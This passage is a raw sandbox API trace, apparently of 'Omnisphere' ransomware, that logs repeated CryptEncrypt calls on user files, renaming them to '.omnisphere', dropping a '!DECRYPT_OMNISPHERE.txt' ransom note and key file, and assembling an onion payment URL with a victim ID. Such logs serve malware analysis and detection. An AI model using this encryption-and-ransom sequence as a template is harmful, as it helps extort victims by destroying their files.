hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.320] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.320] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0127.320] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x5a6, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.320] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.320] GetProcessHeap () returned 0x1600000 [0127.320] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c6) returned 0x16f40c8 [0127.320] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww91yWLQvtP12ZZP0G.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ww91ywlqvtp12zzp0g.ots.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww91yWLQvtP12ZZP0G.ots.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ww91ywlqvtp12zzp0g.ots.lnk.omnisphere")) returned 1 [0127.321] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww91yWLQvtP12ZZP0G.ots.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww91yWLQvtP12ZZP0G.ots.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww91yWLQvtP12ZZP0G.ots.lnk.omnisphere.id" [0127.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww91yWLQvtP12ZZP0G.ots.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ww91ywlqvtp12zzp0g.ots.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.322] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.323] CloseHandle (hObject=0x3c0) returned 1 [0127.323] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.324] CloseHandle (hObject=0x288) returned 1 [0127.324] SetEndOfFile (hFile=0x28c) returned 1 [0127.324] FlushFileBuffers (hFile=0x28c) returned 1 [0127.327] CloseHandle (hObject=0x28c) returned 1 [0127.327] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww91yWLQvtP12ZZP0G.ots.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.327] GetProcessHeap () returned 0x1600000 [0127.327] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.327] GetProcessHeap () returned 0x1600000 [0127.327] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1d20 [0127.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1d20, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.327] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.327] GetProcessHeap () returned 0x1600000 [0127.327] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d81e8 [0127.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d81e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.327] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.327] GetProcessHeap () returned 0x1600000 [0127.327] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9f70 [0127.328] PathCombineW (in: pszDest=0x16d9f70, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.328] GetProcessHeap () returned 0x1600000 [0127.328] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e8f00 [0127.328] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.328] WriteFile (in: hFile=0x28c, lpBuffer=0x16e8f00*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e8f00*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.328] CloseHandle (hObject=0x28c) returned 1 [0127.328] GetProcessHeap () returned 0x1600000 [0127.328] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.328] GetProcessHeap () returned 0x1600000 [0127.328] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.328] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.328] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.329] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.329] CloseHandle (hObject=0x28c) returned 1 [0127.329] GetProcessHeap () returned 0x1600000 [0127.329] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.329] GetProcessHeap () returned 0x1600000 [0127.329] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166ab78 | out: hHeap=0x1600000) returned 1 [0127.329] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecaf32df, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x2244a37f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2244a37f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0xd3, cFileName="x9kjev9n_-.lnk", cAlternateFileName="X9KJEV~1.LNK")) returned 1 [0127.329] GetProcessHeap () returned 0x1600000 [0127.329] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x16568c8 [0127.329] PathCombineW (in: pszDest=0x16568c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="x9kjev9n_-.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x9kjev9n_-.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x9kjev9n_-.lnk" [0127.329] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x9kjev9n_-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\x9kjev9n_-.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.329] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=861) returned 1 [0127.329] GetTickCount () returned 0x115fc5e [0127.329] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.330] GetTickCount () returned 0x115fc5e [0127.331] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668460) returned 1 [0127.331] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0127.331] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.331] CryptDestroyKey (hKey=0x16395e8) returned 1 [0127.331] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0127.331] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x35d, lpName=0x0) returned 0x288 [0127.331] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x35d) returned 0x1480000 [0127.332] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0127.332] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0127.332] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.332] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.332] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.332] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.332] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.332] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.332] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.332] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 